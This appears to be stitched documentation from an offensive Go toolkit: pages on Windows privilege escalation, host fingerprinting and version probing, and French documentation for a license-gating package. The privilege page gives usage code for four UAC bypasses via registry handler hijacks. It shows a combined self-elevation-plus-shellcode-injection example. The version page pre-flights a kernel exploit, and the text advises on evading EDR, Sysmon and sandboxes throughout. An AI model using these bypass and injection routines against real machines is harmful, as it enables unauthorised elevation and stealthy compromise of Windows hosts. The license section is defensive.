Convincing the system you are the boss so you can access everything. Privilege escalation bypasses UAC by exploiting auto-elevating Windows programs (like fodhelper.exe) that run as high-integrity without prompting. You hijack their behavior to execute your code with elevated privileges.


How It Works

Escalation Methods

flowchart TD
    START["Need elevated\nprivileges"] --> Q1{"Have user\ncredentials?"}

    Q1 -->|Yes| Q2{"Need separate\nprocess?"}
    Q2 -->|"Yes (exec.Cmd)"| EXECAS["ExecAs()\nLogonUserW + SysProcAttr.Token"]
    Q2 -->|"Yes (CreateProcess)"| LOGON["CreateProcessWithLogon()\nCreateProcessWithLogonW"]
    Q2 -->|"No (same process)"| IMP["ImpersonateThread()\n(see impersonation.md)"]

    Q1 -->|No| Q3{"UAC prompt\nacceptable?"}
    Q3 -->|Yes| RUNAS["ShellExecuteRunAs()\n'runas' verb + UAC dialog"]
    Q3 -->|No| Q4{"Which UAC\nbypass?"}

    Q4 --> FOD["FODHelper()\nWin10+ CurVer hijack"]
    Q4 --> SLUI["SLUI()\nexefile handler hijack"]
    Q4 --> SILENT["SilentCleanup()\n%windir% env override"]
    Q4 --> EVT["EventVwr()\nmscfile handler hijack"]

    style EXECAS fill:#4a9,color:#fff
    style LOGON fill:#49a,color:#fff
    style RUNAS fill:#a94,color:#fff
    style FOD fill:#94a,color:#fff
    style SLUI fill:#94a,color:#fff
    style SILENT fill:#94a,color:#fff
    style EVT fill:#94a,color:#fff

UAC Bypass Mechanism (FODHelper Example)

sequenceDiagram
    participant Implant as "Implant (Medium IL)"
    participant Reg as "Registry (HKCU)"
    participant Fod as "fodhelper.exe (Auto-elevate)"
    participant Payload as "Payload (High IL)"

    Implant->>Reg: Create key:<br>HKCU\Software\Classes\{random}\shell\open\command
    Implant->>Reg: Set default value = "C:\payload.exe"
    Implant->>Reg: Create key:<br>HKCU\Software\Classes\ms-settings\CurVer
    Implant->>Reg: Set default value = "{random}"

    Implant->>Fod: cmd.exe /C fodhelper.exe
    Note over Fod: fodhelper.exe auto-elevates<br>(no UAC prompt)
    Fod->>Reg: Read ms-settings handler<br>CurVer -> {random}
    Reg-->>Fod: shell\open\command = "C:\payload.exe"
    Fod->>Payload: Launch payload as High IL

    Implant->>Reg: Clean up registry keys

Usage

ExecAs: Run a Process as Another User

import (
    "context"
    "github.com/oioio-space/maldev/win/privilege"
)

// Run cmd.exe as another user (returns exec.Cmd for lifetime management)
cmd, err := privilege.ExecAs(
    context.Background(),
    false,           // not domain-joined
    ".",             // local machine
    "admin",         // username
    "Password123!",  // password
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)
if err != nil {
    log.Fatal(err)
}

// IMPORTANT: Wait to avoid leaking the child process handle
cmd.Wait()

CreateProcessWithLogon

import "github.com/oioio-space/maldev/win/privilege"

err := privilege.CreateProcessWithLogon(
    "CORP",          // domain
    "admin",         // username
    "Password123!",  // password
    `C:\`,           // working directory
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)

ShellExecuteRunAs (UAC Prompt)

import "github.com/oioio-space/maldev/win/privilege"

// Prompts a UAC dialog for elevation
err := privilege.ShellExecuteRunAs(
    `C:\Windows\System32\cmd.exe`,
    `C:\`,
    "/C", "whoami /priv",
)

UAC Bypass: FODHelper

import "github.com/oioio-space/maldev/privesc/uac"

// Silently elevate via fodhelper.exe (Win10+, no UAC prompt)
err := uac.FODHelper(`C:\implant.exe`)

UAC Bypass: SilentCleanup

// Silently elevate via SilentCleanup scheduled task
err := uac.SilentCleanup(`C:\implant.exe`)

UAC Bypass: EventVwr

// Silently elevate via eventvwr.exe mscfile handler
err := uac.EventVwr(`C:\implant.exe`)

UAC Bypass: EventVwr with Alternate Credentials

// Elevate via eventvwr.exe using another user's credentials
err := uac.EventVwrLogon("CORP", "admin", "Password123!", `C:\implant.exe`)

Check Current Privileges

import "github.com/oioio-space/maldev/win/privilege"

admin, elevated, err := privilege.IsAdmin()
fmt.Printf("Admin group: %v, Elevated: %v\n", admin, elevated)

isMember, _ := privilege.IsAdminGroupMember()
fmt.Printf("Admin group member: %v\n", isMember)

Combined Example: Escalate + Inject

package main

import (
    "fmt"
    "log"
    "os"

    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/privesc/uac"
    "github.com/oioio-space/maldev/win/privilege"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // Check if already elevated
    _, elevated, _ := privilege.IsAdmin()
    if !elevated {
        // Self-elevate via FODHelper UAC bypass
        exePath, _ := os.Executable()
        if err := uac.FODHelper(exePath); err != nil {
            fmt.Println("UAC bypass failed, trying SLUI...")
            _ = uac.SLUI(exePath)
        }
        return // original process exits, elevated copy continues
    }

    // Now running elevated -- perform injection via indirect syscalls.
    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil { log.Fatal(err) }

    shellcode := []byte{/* ... */}
    if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}

Advantages & Limitations

Advantages

  • Four UAC bypass methods: FODHelper, SLUI, SilentCleanup, EventVwr cover Win10/Win11
  • Registry cleanup: All UAC bypass methods defer-delete their registry keys
  • Hidden windows: All spawned processes use SysProcAttr{HideWindow: true}
  • ExecAs returns exec.Cmd: Caller manages child process lifetime
  • Domain + local support: ExecAs adapts logon type for domain vs. local accounts

Limitations

  • UAC bypasses are well-known: EDR products monitor registry keys used by these techniques
  • Admin group required: UAC bypass only works for users already in the Administrators group
  • Credential exposure: ExecAs and CreateProcessWithLogon require plaintext passwords
  • EventVwr timing: 2-second sleep for eventvwr to read registry -- may fail under heavy load
  • No PPID spoofing: Spawned processes show the real parent PID

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/privilege is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Windows-platform primitives (win/*)

← maldev README · docs/index

The win/* package tree is Layer 1: low-level Windows primitives every higher-layer technique builds on. There is no single "win technique" — the area is a foundation for the others.

flowchart TB
    subgraph imports [Imports & syscalls]
        API[win/api<br>PEB walk + ROR13 hash]
        NTAPI[win/ntapi<br>typed Nt* wrappers]
        SYSCALL[win/syscall<br>Direct/Indirect SSN]
    end
    subgraph identity [Token & identity]
        TOK[win/token<br>steal · privileges · UBR]
        IMP[win/impersonate<br>thread context swap]
        PRIV[win/privilege<br>IsAdmin · ExecAs]
    end
    subgraph fingerprint [Host fingerprint]
        VER[win/version<br>RtlGetVersion + UBR]
        DOM[win/domain<br>NetGetJoinInformation]
    end
    API --> NTAPI
    API --> SYSCALL
    TOK --> IMP
    IMP --> PRIV
    VER --> GATE{technique<br>compatibility}
    DOM --> GATE

Where to start (novice path):

The win/* packages are foundations — most operators land here from a higher-layer technique that needs to resolve an API, steal a token, or fingerprint the host. There is no "first thing to read" — pick the row in the decision tree below that answers your current question.

If you're new to maldev altogether and want a guided tour: start at the maldev README's Packages table, pick a TECHNIQUE area (Evasion / Injection / Credentials / Persistence), and let it pull you into the specific win/* primitive it depends on.

Decision tree

Operator questionPackagePages
"Resolve a Windows API without a string in my binary."win/apiapi-hashing
"Call NtXxx through ntdll (skip kernel32 hooks)."win/ntapisyscalls/README
"Call NtXxx skipping ALL userland hooks."win/syscalldirect-indirect, ssn-resolvers
"Steal a token from PID X."win/tokentoken-theft
"Run a callback as user@domain / SYSTEM / TI."win/impersonateimpersonation
"Am I admin / elevated right now? Spawn as a different user?"win/privilegeprivilege-escalation
"What Windows build am I on? Is it patched for CVE-X?"win/versionversion
"Is this host workgroup or AD-joined?"win/domaindomain

Per-package pages

Pages owned by this directory:

  • domain.mdNetGetJoinInformation host fingerprint.
  • version.mdRtlGetVersion + UBR + CVE-state probe.

Pages owned by sibling directories:

MITRE ATT&CK rollup

IDTechniqueOwners
T1106Native APIwin/api, win/ntapi, win/syscall
T1027Obfuscated Files or Informationwin/api (hash imports)
T1027.007Dynamic API Resolutionwin/api, win/syscall (gates)
T1134Access Token Manipulationwin/token, win/impersonate, win/privilege
T1134.001Token Impersonation/Theftwin/token, win/impersonate
T1134.002Create Process with Tokenwin/privilege
T1078Valid Accountswin/privilege (alt-creds spawn)
T1082System Information Discoverywin/version, win/domain
T1016System Network Configuration Discoverywin/domain (paired with recon/network)

See also

Domain-membership fingerprint

← win techniques · docs/index

TL;DR

domain.Name() returns the local host's NetBIOS domain or workgroup name plus a [JoinStatus] enum. One NetGetJoinInformation round-trip — no LDAP, no DC contact, no privilege check. Use it to gate domain-targeted post-exploitation flows.

[!NOTE] NetBIOS name only. For the FQDN, query LDAP via recon/network or read the Domain.UserName from a Kerberos PAC.

Primer

Two questions a post-ex chain needs answered before lateral movement is worth attempting:

  1. Is this host part of an Active Directory domain? (Otherwise AD-targeted credentials and DC enumeration are dead-ends.)
  2. What is the domain name to seed those queries with?

NetGetJoinInformation answers both in a single call to the local LSA over RPC — no network traffic leaves the host, no admin token required. Mirror of what whoami /upn and dsregcmd /status do.

How it works

sequenceDiagram
    Caller->>+netapi32: NetGetJoinInformation(NULL, &name, &status)
    netapi32->>+LSA: query SAM domain info
    LSA-->>-netapi32: domain/workgroup name + status
    netapi32-->>-Caller: NetSetupDomainName / NetSetupWorkgroupName / ...
    Caller->>netapi32: NetApiBufferFree(name)

Implementation:

  1. Call syscall.NetGetJoinInformation (golang.org/x/sys/windows wrapping netapi32!NetGetJoinInformation).
  2. Convert the returned *uint16 to Go string.
  3. Free the netapi-owned buffer with NetApiBufferFree.
  4. Return (name, JoinStatus, error).

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/domain is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — bail on workgroup

name, status, err := domain.Name()
if err != nil || status != domain.StatusDomain {
    return // host is not domain-joined; abort domain-targeted ops
}
log.Printf("operating in domain %q", name)

Composed — gate kerberoasting

import (
    "github.com/oioio-space/maldev/win/domain"
    "github.com/oioio-space/maldev/credentials/kerberoast" // hypothetical
)

func TryKerberoast(targetSPN string) error {
    _, status, _ := domain.Name()
    if status != domain.StatusDomain {
        return errors.New("kerberoast: not domain-joined")
    }
    return kerberoast.Roast(targetSPN)
}

Advanced — combine with version + sandbox gates

import (
    "github.com/oioio-space/maldev/win/domain"
    "github.com/oioio-space/maldev/win/version"
    "github.com/oioio-space/maldev/recon/sandbox"
)

func ShouldExpand() bool {
    if sandbox.IsLikely() {
        return false // bail in analysis envs
    }
    if !version.AtLeast(version.WINDOWS_10_1809) {
        return false // tooling assumes 1809+ APIs
    }
    _, status, _ := domain.Name()
    return status == domain.StatusDomain
}

OPSEC & Detection

VectorVisibilityMitigation
NetGetJoinInformation RPCNot logged by defaultNone needed
Process integrityAny user can callNone
Network trafficLocal LSA only — no DC contact

This call is invisible to Sysmon, ETW Microsoft-Windows-Security provider, and AMSI. The detection floor is "did the implant exist" — this primitive adds no incremental signal.

MITRE ATT&CK

  • T1082 (System Information Discovery) — domain-membership probe is a host-fingerprint primitive.
  • T1016 (System Network Configuration Discovery) — when paired with recon/network for DC discovery.

Limitations

  • NetBIOS name only — for FQDN use LDAP search ((objectClass=domain)) via recon/network.
  • Cached at machine boot — does not reflect a join/unjoin that has not been followed by reboot.
  • No domain-trust enumeration — single-domain answer.

See also

Windows version & build probe

← win techniques · docs/index

TL;DR

version.Current() returns the real running Windows version including the UBR (Update Build Revision — the patch number inside a build) by reading RtlGetVersion (kernel-side, manifest shim free) plus HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion. Used to gate technique selection — many syscall SSN tables, UAC shims, and kernel exploits are build-specific.

[!IMPORTANT] GetVersionEx returns the manifest-declared compatibility target, not the real OS version. On any process without an explicit manifest declaring Win10+ support, GetVersionEx reports 6.2 (Win 8). Always use version.Current() instead.

Primer

Windows version is more nuanced than Major.Minor.Build:

  • Major.Minor.Build — kernel branch (e.g., 10.0.19045 = Win10 22H2).
  • UBR — monthly patch level inside a build (19045.5189 = January 2025 cumulative).
  • Edition — Pro / Enterprise / Server. Affects feature gates (Server-only WTSEnumerateSessions session 0).
  • HVCI / VBS posture — gates BYOVD: HVCI-on hosts refuse the vulnerable-driver block-list before driver load.

For maldev technique selection the build + UBR are usually enough. Token-stealing techniques don't change between minor builds, but syscall SSN tables do, and kernel exploits like CVE-2024-30088 are gated on a UBR cut-off.

How it works

flowchart LR
    Caller -->|RtlGetVersion| Ntdll
    Caller -->|RegOpenKeyEx| Reg["HKLM\SOFTWARE\Microsoft\\Windows NT\CurrentVersion"]
    Ntdll --> V["OsVersionInfoEx{Major, Minor, Build, ProductType}"]
    Reg --> R["UBR (REG_DWORD)"]
    V --> Out["Version{Major, Minor, Build, UBR, Edition}"]
    R --> Out

Implementation:

  1. version.Current() calls RtlGetVersion directly via golang.org/x/sys/windows. The function reads KUSER_SHARED_DATA.NtProductType / NtMajorVersion / NtMinorVersion / NtBuildNumberno manifest shim.
  2. version.readUBR() opens HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion and reads the UBR REG_DWORD value.
  3. version.Windows() returns an [Info] struct combining both, plus a human-readable Edition string ("Windows 10 22H2", "Windows Server 2022").
  4. version.AtLeast(target *Version) is the comparison operator used by callers.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/version is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — gate on Win10 1809+

v := version.Current()
if !version.AtLeast(version.WINDOWS_10_1809) {
    return errors.New("technique requires Win10 1809 or later")
}
log.Printf("running on %s build %d.%d", v, v.BuildNumber, /* ubr */ 0)

Composed — UBR-aware patch gate

info, err := version.Windows()
if err != nil {
    return err
}
const minPatchUBR = 5189 // 22H2 January 2025 CU
if info.Build == 19045 && info.Revision < minPatchUBR {
    log.Println("host below required patch level")
}

Advanced — pre-flight a kernel exploit

info, err := version.CVE202430088()
if err != nil {
    return err
}
if !info.Vulnerable {
    return errors.New("host patched")
}
log.Printf("vulnerable: %s build %d.%d", info.Edition, info.Build, info.Revision)
return cve202430088.Run(ctx)

OPSEC & Detection

VectorVisibilityMitigation
RtlGetVersion ntdll callNot loggedNone needed
Registry read of CurrentVersionNot logged at default auditNone
Process behaviourIdentical to winver.exe

RtlGetVersion and the CurrentVersion registry key are read by practically every Windows program at startup. No incremental signal.

MITRE ATT&CK

  • T1082 (System Information Discovery)

Limitations

  • Edition string is hard-coded against a known build → SKU table. New SKUs (e.g., Server vNext) appear as "unknown" until the table is bumped.
  • UBR read requires HKLM read access — rare to be denied in user-mode, but possible on hardened OOBE images.
  • No HVCI / VBS detection — call recon/sandbox helpers if VBS posture matters for technique selection.

See also

License framing — primitive défensive

Cadre cryptographiquement signé qui décide qui peut exécuter quel binaire, sur quelles machines, avec quels secrets, jusqu'à quand, sous quelle politique de révocation.

Hors-ligne par défaut, en-ligne en option. Aucun artefact réseau ou disque émis côté détection (le binaire n'envoie rien, sauf si l'opérateur active explicitement WithRevocation ou WithHeartbeat).

TL;DR — règles du jeu en une page

AspectValeur
Import pathgithub.com/oioio-space/maldev/license
RôleGate d'autorisation défensive à l'intérieur des binaires de recherche
SignatureEd25519, déterministe, 64 octets, pas d'algorithm-confusion
FormatPEM-armé MALDEV LICENSE enveloppant un JSON canonique base64
Bindingsmachine (liste), password (argon2id), custom (k/v + extensible)
En-ligneRevocationSource pluggable + heartbeat avec nonce echo (tous optionnels)
PinningSHA-256 du binaire sur disque + SHA-256 d'une identité embarquée (les deux optionnels)
Anti-tamper d'horlogePlancher signé trusted_floor + last-seen monotone, stocké dans un fichier HMAC
Erreur publiqueErrLicenseInvalid opaque ; la cause précise va dans slog, jamais dans err.Error()
Couches dépendancesLayer 1 — crypto/ed25519 stdlib + golang.org/x/crypto/{argon2,hkdf,chacha20poly1305,curve25519}
Tag Gov0.157.0+

Vocabulaire

TermeSignification
LicenseLe token signé qui autorise un binaire. Sérialisé en PEM MALDEV LICENSE.
KeyID (kid)Identifiant texte de la clé qui a signé. Permet la rotation : un binaire peut accepter plusieurs kid simultanément.
Issuer (iss)Texte libre désignant l'autorité émettrice (ex. "lab-eu"). Le binaire peut whitelist.
Subject (sub)À qui la licence est délivrée (email, hostname, nom d'agent…). Libre.
Audience (aud)Liste des binaires autorisés (ex. ["rshell", "memscan"]). Vide = wildcard avec warning.
BindingUne contrainte signée à l'intérieur de la licence. Trois types builtin (machine, password, custom:*) + extensible via RegisterVerifier.
EvidenceValeur fournie au moment de Verify qui doit matcher un binding (ex. WithMachineID(...) apporte l'évidence pour un binding machine).
Trustedstruct{Keys map[KeyID]ed25519.PublicKey} que le binaire connaît à la compilation. Contient une ou plusieurs clés acceptées.
RevocationSourceInterface Fetch(ctx) ([]byte, error) — d'où le binaire récupère la liste de révocation signée. Builtins : HTTP, File, Embed, Multi, + custom.
Identity32 octets aléatoires embarqués dans le binaire au build (via //go:embed). Survit au cmd/packer parce qu'il ne supprime pas les données embarquées.
TrustedFloorLe plus grand server_time jamais observé via revocation ou heartbeat. Stocké dans le state file. Un time.Now() inférieur déclenche causeClockRollback.
MaxClockSkewTolérance d'horloge (5 min par défaut) appliquée à NotBefore/NotAfter/TrustedFloor.
GracePeriodCombien de temps un binaire reste autorisé sans pouvoir joindre la revocation source ou le heartbeat. 0 = pas de tolérance.

Flow de vérification

sequenceDiagram
    autonumber
    participant Op as "Opérateur (issuer)"
    participant Bin as "Binaire (verifier)"
    participant Rev as "Revocation server (opt)"
    participant Hb as "Heartbeat server (opt)"
    participant NTP as "NTP (opt)"

    Op->>Op: GenerateKey + SavePrivateKey
    Op->>Bin: distribute issuer.pub + license.pem

    Note over Bin: license.Verify(data, trusted, opts...)

    Bin->>Bin: 1. parse PEM + size guard
    Bin->>Bin: 2. resolve KeyID → public key
    Bin->>Bin: 3. ed25519.Verify(domain_tag || body)
    Bin->>Bin: 4. read HMAC state file
    Bin->>Bin: 5. NotBefore / NotAfter (with skew)
    Bin->>Bin: 6. audience / issuer match
    Bin->>Bin: 7. bindings (machine, password, custom)
    Bin->>Bin: 8. pinning (BinarySHA256 / IdentitySHA256)
    Bin->>Rev: 9a. fetch signed revocation list (or cache)
    Rev-->>Bin: signed list + serverTime
    Bin->>Bin: 9b. check sequence ≥ last, IsRevoked(lic.ID)
    Bin->>Hb: 10a. POST heartbeat {license_id, nonce}
    Hb-->>Bin: signed reply
    Bin->>Bin: 10b. verify signature, nonce echo, ok==true
    Bin->>NTP: 11. SNTPv4 query (soft warning)
    Bin->>Bin: 12. atomic write state file
    Bin-->>Op: Verified{License, Payload, Warnings} | ErrLicenseInvalid

Quick start

pub, priv, _ := license.GenerateKey()
data, _ := license.New(priv, "alice@example.com", 24*time.Hour)
v, err := license.Verify(data, license.Trusted{Keys: license.SingleKey("default", pub)})

Voir le cookbook pour 8 recettes complètes copier-coller.


Référence des champs

type License

Le corps signé d'une licence. Tous les champs sont couverts par la signature.

ChampJSONTypeSensVide ⇒
VersionvintToujours 1 en v1.refus (causeBadFormat)
IDidstringUUIDv4 random au moment de l'émission. Identifie la licence dans les revocation lists.jamais vide
KeyIDkidstringIdentifiant texte de la clé qui a signé. Doit figurer dans Trusted.Keys.refus (causeUnknownKey)
IssuerissstringÉmetteur. Comparé à WithIssuer(...) si l'option est passée.l'option WithIssuer rejette toujours dans ce cas
SubjectsubstringBénéficiaire (email, agent, …). Libre. Logué et présent dans Verified.Subject.acceptable mais inutile
Audienceaud[]stringListe des binaires autorisés. Vide = wildcard (warning à Verify).warning
IssuedAtiattime.Time UTCHorodatage d'émission. Pas vérifié à Verify mais loguable.non bloquant
NotBeforenbftime.Time UTCAvant cette date, refus causeNotYetValid (avec MaxClockSkew).jamais "pas encore valide"
NotAfterexptime.Time UTCAprès cette date, refus causeExpired. Zéro = jamais expirer.jamais expirer
Bindingsbnd[]BindingContraintes à matcher avec des évidences à Verify.pas de contraintes spécifiques
Featuresfeat[]stringListe d'entitlements signée au niveau racine. Lue via Verified.HasFeature(name) sans désérialiser Payload.aucun entitlement
BinarySHA256binstring (hex)Hash SHA-256 du fichier os.Executable() autorisé.pas de pinning disque
IdentitySHA256id_shastring (hex)Hash SHA-256 de l'identité embarquée via //go:embed. Survit au packer.pas de pinning identité
Payloadpldjson.RawMessageDonnées libres signées en clair pour usage applicatif. Accessibles via Verified.Payload.aucune métadonnée applicative
SealedPayloadspld[]bytePayload chiffré par seal.Seal(recipientPub, ...). Signature publique mais contenu lisible seulement avec recipientPriv.pas de scellé

Note règle de pinning : si les deux BinarySHA256 et IdentitySHA256 sont définis ET que WithBinaryPinning() est passé, les deux doivent matcher (AND). Définir un seul des deux ne vérifie que celui-là. Aucun = warning sans refus.

type Binding

ChampJSONTypeSens
TypetstringUne parmi : "machine", "password", "totp", ou "custom:<name>"
Valuev[]stringPour machine/custom:* : liste de valeurs acceptées (OR-match). Pour totp : [secret_base32]. Vide pour password.
Hashh[]bytePour password : hash argon2id du mot de passe. Vide pour les autres types.
Salts[]bytePour password : sel de 16 octets random. Vide pour les autres types.
Paramsp*BindingParamsPour password : paramètres argon2id stampés à l'émission (time, memory, threads, keylen). Permet de re-tuner sans casser les licences existantes. Nil = défauts du package.

Les helpers BindMachineIDs(ids...), BindPassword(p), BindPasswordWithParams(p, params), BindTOTP(secret), BindCustom(name, vals...) construisent ces bindings correctement.

type IssueOptions

Tous les champs sauf PrivateKey et Subject sont optionnels.

ChampTypeSensDéfaut
PrivateKeyed25519.PrivateKeyClé qui signe. Requise.
KeyIDstringIdentifiant de la clé de signature."default"
IssuerstringÉmetteur (iss).vide
SubjectstringÀ qui (sub). Requise.
Audience[]stringBinaires autorisés.vide (wildcard)
NotBeforetime.TimeDate d'activation.maintenant
NotAftertime.TimeDate d'expiration.jamais (déconseillé)
Bindings[]BindingContraintes.aucune
BinarySHA256string (hex)Hash binaire requis.pas de pinning disque
IdentitySHA256string (hex)Hash identité requis.pas de pinning identité
Payloadjson.RawMessageDonnées applicatives signées en clair.aucune
SealedPayload[]byteDonnées scellées avec seal.Seal.aucune

type Verified (retour de Verify)

ChampTypeSens
LicenseembeddedLe corps vérifié, en lecture seule.
Payload[]byteLe Payload clair (=v.License.Payload).
KeyUsedstringLe KeyID qui a effectivement validé (utile en rotation).
Warnings[]stringAvertissements non bloquants (audience vide, NTP drift, pinning sans champs, etc.).

Options VerifyOption

Toutes les options sont des fonctions func(*verifyState) à passer en variadique à Verify. Plusieurs options peuvent se combiner librement.

OptionTypeEffet
WithContext(ctx)context.ContextPropage timeout/cancel aux appels réseau (revocation, heartbeat, NTP). Défaut : context.Background().
WithClock(c)ClockHorloge injectable. Pour tests ou usage avancé. Défaut : horloge système UTC.
WithLogger(l)*slog.LoggerLogueur pour les causes d'échec. Défaut : slog.Default().
WithMaxClockSkew(d)time.DurationTolérance appliquée à NotBefore/NotAfter/TrustedFloor. Défaut : 5 min.
WithAudience(aud...)...stringLe binaire déclare son nom. Doit appartenir à License.Audience.
WithIssuer(iss)stringÉmetteur attendu. Doit matcher License.Issuer.
WithMachineID(id)[]byteÉvidence pour un binding machine. Typiquement hostid.Local().
WithPassword(p)stringÉvidence pour un binding password.
WithCustom(name, value)string, stringÉvidence pour un binding custom:<name>.
WithBinaryPinning()Active le check de BinarySHA256 et/ou IdentitySHA256 si présents.
WithIdentityBytes(b)[]byteOverride les bytes d'identité (autrement lus via identity.Read()).
WithRevocation(src, refresh, cachePath)RevocationSource, Duration, stringActive la révocation. Fetch refresh max toutes les refresh, cache local signé.
WithGracePeriod(d)time.DurationTolérance offline (revocation + heartbeat).
WithHeartbeat(client, interval)heartbeat.Client, DurationActive le heartbeat ; skip si une réponse OK a été obtenue depuis moins de interval.
WithStateFile(path)stringChemin du state file HMAC pour anti-rollback d'horloge.
WithStateHostID(fn)func() ([]byte, error)Source du fingerprint machine pour dériver la clé HMAC du state file. Typiquement hostid.Local.
WithNTPCheck(server, maxDrift)string, DurationNTP cross-check soft (warning si drift > seuil).
WithNTPCheckStrict(server, maxDrift)string, DurationNTP strict : refus si drift > seuil.

Sous-packages

PackageQuand l'utiliser
licenseSurface API principale. Issue, Verify, GenerateKey, options.
license/canonicalJSON canonique pour signature reproductible. Utilisé en interne, exposé pour usage avancé.
license/hostidFingerprint machine cross-platform (Windows MachineGuid, Linux /etc/machine-id, Darwin IOPlatformUUID).
license/identityIdentité embarquée 32 octets. Inclure //go:embed identity.bin + identity.Set(bytes) au boot.
license/identity/cmd/gen-identityOutil go run qui génère identity.bin. Idempotent.
license/revokeTypes et primitives de revocation list ; sources HTTP/File/Embed/Multi pluggables ; cache local signé.
license/heartbeatClient HTTP pour ping serveur ; signature des réponses ; nonce echo.
license/sealSealed payload X25519 + HKDF-SHA256 + XChaCha20-Poly1305.
license/ntpSNTPv4 query minimaliste.
license/serverhttp.Handler builders pour servir révocation + heartbeat ; FileStore builtin ; interfaces RevocationStore/LicenseStore pour persistance custom.
license/internal/fileutilHelper AtomicWrite, interne uniquement.

Erreurs

ErrLicenseInvalid est la seule erreur publique. Discrimination via errors.Is(err, ErrLicenseInvalid). La cause précise (signature, expired, binding mismatch, etc.) part vers le logueur ; elle est volontairement absente de err.Error() pour ne pas guider un attaquant.

Causes internes loguées (non exportées) : bad-format, bad-signature, unknown-key, not-yet-valid, expired, clock-rollback, audience-mismatch, issuer-mismatch, binding-machine-mismatch, binding-password-mismatch, binding-custom-mismatch, binary-hash-mismatch, identity-mismatch, revoked, revocation-stale, heartbeat-failed, state-corrupted.


OPSEC & détection

AspectComportement
Bruit disqueVerify lit la licence et (si configuré) écrit le state file HMAC + le cache de révocation. Pas d'autres écritures.
Bruit réseauAucun par défaut. WithRevocation → 1 GET / refresh. WithHeartbeat → 1 POST / interval. WithNTPCheck → 1 query UDP.
Surface AV/EDRLe binaire de vérification embarque seulement la stdlib + x/crypto. Aucun artefact RWX, aucun syscall direct, aucun import suspect.
LogsTous les échecs partent dans slog.Default() (ou logueur custom via WithLogger). Le format est structuré, prêt pour pipeline d'audit.
Signature binaireLe package ne signe pas son propre binaire ; combiner avec cmd/packer + Authenticode pour résistance au reverse.

Limitations

Résiste à

  • Forgerie de signature (Ed25519).
  • Modification post-émission (toute la License est couverte par la signature).
  • Replay cross-audience (aud est signé).
  • Réutilisation cross-binaire (aud + binary/identity pinning).
  • Substitution de revocation list ancienne (sequence monotone + signed expiry + chain hash).
  • Brute-force de password binding (argon2id : t=3, m=64MiB, p=4).
  • Rollback de l'horloge sous le TrustedFloor.
  • Algorithm-confusion (un seul algo signé, domain-separated par message type).

Ne résiste PAS à

  • Un attaquant qui patche Verify dans le binaire pour return nil. Mitigation hors scope — combiner avec cmd/packer + intégrité OS (Authenticode / Sigstore).
  • Tamper d'horloge parfait sur une machine totalement offline qui n'a jamais contacté le serveur (= aucun TrustedFloor jamais établi).
  • Usage offline indéfini au-delà du GracePeriod après rotation de clé.
  • Modification simultanée du binaire et de l'identity embarquée.
  • Spoofing de hostid sur une machine que l'attaquant contrôle entièrement.
  • Partage de seat (deux machines avec le même hostid + binding password).

Voir threat-model.md pour le détail complet par classe de menace.


Voir aussi

License — Concepts

Cette page pose le modèle mental du package : ce qu'est une licence, comment elle se vérifie, ce qu'elle garantit, et ce qu'elle ne garantit pas. Aucun pré-requis crypto.

Qu'est-ce qu'une licence ici

Une licence est un document JSON signé par toi (l'émetteur), qui déclare une autorisation et ses conditions. Exemple narratif :

"Cette licence autorise alice@example.com à exécuter rshell jusqu'au 31 décembre 2026, uniquement sur les machines A, B ou C, à condition de fournir le mot de passe hunter2 au démarrage."

Le document est encodé en PEM (un format texte standard, lisible) :

-----BEGIN MALDEV LICENSE-----
eyJsaWMiOnsidiI6MSwiaWQiOiI3M2Y1NjA4MS01Y2NlLTQwNzMtOTYzMi0...
-----END MALDEV LICENSE-----

Une fois décodé en base64, c'est du JSON :

{
  "lic": {
    "v": 1,
    "id": "73f56081-5cce-4073-9632-...",
    "kid": "k2026-05",
    "sub": "alice@example.com",
    "aud": ["rshell"],
    "iat": "2026-05-20T10:00:00Z",
    "exp": "2026-08-18T10:00:00Z",
    "bnd": [
      {"t": "machine", "v": ["abc123", "def456"]},
      {"t": "password", "h": "...", "s": "..."}
    ]
  },
  "sig": "<64 octets Ed25519>",
  "kid": "k2026-05"
}

La signature (sig) couvre tous les champs de lic. Modifier un seul octet de lic invalide la signature : le binaire détectera la modification et refusera.

Quelle clé distribuer

Le système repose sur deux clés liées mathématiquement par Ed25519. Elles n'ont absolument pas le même statut :

CléStatutÀ faireÀ ne pas faire
Privée (MALDEV PRIVATE KEY, 64 octets)Secret absoluLa garder hors-ligne, idéalement sur un poste dédié ou un HSM. Sauvegarder chiffré. Permissions 0600.Ne jamais la committer, la pusher sur un repo, l'envoyer par email, la stocker dans un container CI, l'embarquer dans un binaire. Si elle fuite, tout est compromis : il faut rotation immédiate.
Publique (MALDEV PUBLIC KEY, 32 octets)Information publiqueLa distribuer avec chaque binaire, la committer, la mettre dans un README, l'embarquer en dur via //go:embed.Rien d'interdit. Ce qu'on craint avec la clé privée (forger des licences) est impossible avec la publique.

En cas de doute : la publique se reconnaît à son en-tête -----BEGIN MALDEV PUBLIC KEY----- ; la privée à -----BEGIN MALDEV PRIVATE KEY-----. La privée fait ~115 octets en PEM, la publique ~80 octets.

Embarquer la clé publique avec //go:embed

Le pattern recommandé pour les binaires distribués : commit issuer.pub à côté du main.go, embarque-le à la compilation, parse-le au démarrage. Aucun fichier externe à packager.

package main

import (
	_ "embed"
	"log"

	"github.com/oioio-space/maldev/license"
)

//go:embed issuer.pub
var issuerPub []byte

func main() {
	pub, kid, err := license.ParsePublicKey(issuerPub) // []byte → ed25519.PublicKey + KID
	if err != nil {
		log.Fatalf("clé publique corrompue : %v", err)
	}
	trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

